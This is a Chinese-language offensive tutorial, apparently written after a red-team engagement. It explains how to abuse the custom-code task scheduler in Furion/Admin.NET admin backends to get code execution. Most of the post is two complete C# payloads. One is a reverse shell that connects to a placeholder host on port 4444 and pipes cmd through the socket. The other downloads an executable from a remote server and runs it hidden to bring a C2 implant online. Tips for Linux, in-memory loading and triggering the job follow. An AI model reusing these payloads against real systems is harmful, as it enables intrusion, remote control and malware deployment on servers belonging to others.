上周在打攻防时,碰到一个Furion
框架开发的系统,在系统后台发现了一个任务调度功能的菜单
这个功能类似于若依的定时任务,但功能上比若依的定时任务要灵活的多,允许用户执行自定义.net代码和http请求
如果要执行自定义代码Furion
框架很贴心的给我们生成了一个任务模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #region using using Furion;using Furion.Logging;using Furion.RemoteRequest.Extensions;using Furion.Schedule;using Microsoft.Extensions.DependencyInjection;using System;using System.Data;using System.Linq.Dynamic.Core;using System.Linq.Expressions;using System.Text;using System.Threading;using System.Threading.Tasks;using Yitter.IdGenerator;#endregion namespace Admin.NET.Core ;[JobDetail("你的作业编号" ) ] public class DynamicJob : IJob { private readonly IServiceProvider _serviceProvider; public DynamicJob (IServiceProvider serviceProvider ) { _serviceProvider = serviceProvider; } public async Task ExecuteAsync (JobExecutingContext context, CancellationToken stoppingToken ) { } }
根据模板内容,我们只需要在ExecuteAsync
方法中实现任务功能代码即可
话不多说,给出两个利用代码反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #region using using Furion;using Furion.Logging;using Furion.RemoteRequest.Extensions;using Furion.Schedule;using Microsoft.Extensions.DependencyInjection;using System;using System.Data;using System.Linq.Dynamic.Core;using System.Linq.Expressions;using System.Text;using System.Threading;using System.Threading.Tasks;using Yitter.IdGenerator;using System;using System.Text;using System.IO;using System.Diagnostics;using System.ComponentModel;using System.Linq;using System.Net;using System.Net.Sockets;#endregion namespace Admin.NET.Core ;[JobDetail("test" ) ] public class DynamicJob : IJob { static StreamWriter streamWriter; private readonly IServiceProvider _serviceProvider; private static void CmdOutputDataHandler (object sendingProcess, DataReceivedEventArgs outLine ) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } public DynamicJob (IServiceProvider serviceProvider ) { _serviceProvider = serviceProvider; } public async Task ExecuteAsync (JobExecutingContext context, CancellationToken stoppingToken ) { using (TcpClient client = new TcpClient("x.x.x.x" , 4444 )) { using (Stream stream = client.GetStream()) { using (StreamReader rdr = new StreamReader(stream)) { streamWriter = new StreamWriter(stream); StringBuilder strInput = new StringBuilder(); Process p = new Process(); p.StartInfo.FileName = "cmd" ; p.StartInfo.CreateNoWindow = true ; p.StartInfo.UseShellExecute = false ; p.StartInfo.RedirectStandardOutput = true ; p.StartInfo.RedirectStandardInput = true ; p.StartInfo.RedirectStandardError = true ; p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while (true ) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0 , strInput.Length); } } } } } }
如果系统运行在linux
下需要把p.StartInfo.FileName
改成bash
,sh
等解释器
远程下载上线C2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #region using using Furion;using Furion.Logging;using Furion.RemoteRequest.Extensions;using Furion.Schedule;using Microsoft.Extensions.DependencyInjection;using System;using System.Data;using System.Linq.Dynamic.Core;using System.Linq.Expressions;using System.Text;using System.Threading;using System.Threading.Tasks;using Yitter.IdGenerator;using System.IO;using System.Diagnostics;using System.Net.Http;#endregion namespace Admin.NET.Core ;[JobDetail("job_errorlog" ) ] public class DynamicJob : IJob { private readonly IServiceProvider _serviceProvider; public DynamicJob (IServiceProvider serviceProvider ) { _serviceProvider = serviceProvider; } public async Task ExecuteAsync (JobExecutingContext context, CancellationToken stoppingToken ) { using var serviceScope = _serviceProvider.CreateScope(); try { string remoteUrl = "http://x.x.x.x/xxx.exe" ; string localPath = @"D:\xx\xxx.exe" ; string appDirectory = @"D:\xx" ; Directory.CreateDirectory(appDirectory); await DownloadFileAsync(remoteUrl, localPath, stoppingToken); RunProgramInBackground(localPath); } catch (Exception ex) { Console.WriteLine($"作业执行异常: {ex.Message} " ); } } private async Task DownloadFileAsync (string url, string filePath, CancellationToken stoppingToken ) { using var httpClient = new HttpClient(); httpClient.Timeout = TimeSpan.FromMinutes(30 ); using (var response = await httpClient.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, stoppingToken)) { response.EnsureSuccessStatusCode(); using (var contentStream = await response.Content.ReadAsStreamAsync()) using (var fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write)) { await contentStream.CopyToAsync(fileStream); } } } private void RunProgramInBackground (string filePath ) { var processInfo = new ProcessStartInfo { FileName = filePath, WorkingDirectory = Path.GetDirectoryName(filePath), UseShellExecute = true , CreateNoWindow = true , WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(processInfo); } }
此方法需要文件落地,如果需要内存加载。师傅们可自行修改
需要注意的点
添加任务时代码中的[JobDetail("job_errorlog")]
任务名称必须和添加的任务名称一致
添加任务后,必须给任务添加一个触发器,否则在手动执行任务时无法触发